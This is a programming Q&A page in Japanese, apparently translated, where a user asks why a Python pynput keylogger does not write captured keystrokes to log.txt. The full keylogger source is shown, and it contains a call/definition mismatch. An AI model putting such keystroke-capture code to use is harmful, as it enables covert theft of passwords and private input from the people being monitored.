【解決方法】Python を使用してキーロガーを作成しましたが、キー入力が保存されません "log.txt" どこに保管するべきか


そこで、Python を使用して pycharm でこの単純なキーロガー プログラムを作成しました。
プログラムは、キーボードの押下を把握し、それを「log.txt」ファイルに保存することになっています。 コンソールは、プログラムがその仕事をしていることを示しています。つまり、すべてのキーの押下をロックしてログに表示していますが、その情報は「log.txt」に保存されていません。

私が試したこと:

Python
<pre>import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 100:
        count = 0
        write_file(keys)
        keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)
            f.write(str(key))





def on_release(key):
    if key == Key.esc:
        return False




with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

解決策 2

使い方 ?

You could use Try-Except to capture any runtime exceptions. See 8. Errors and Exceptions — Python 3.9.1 documentation[^]

It is very unusual to see a filename without a path - try including the explicit location of the file - don't make this the root of your c:drive or anything under "Program Files"

コメント

タイトルとURLをコピーしました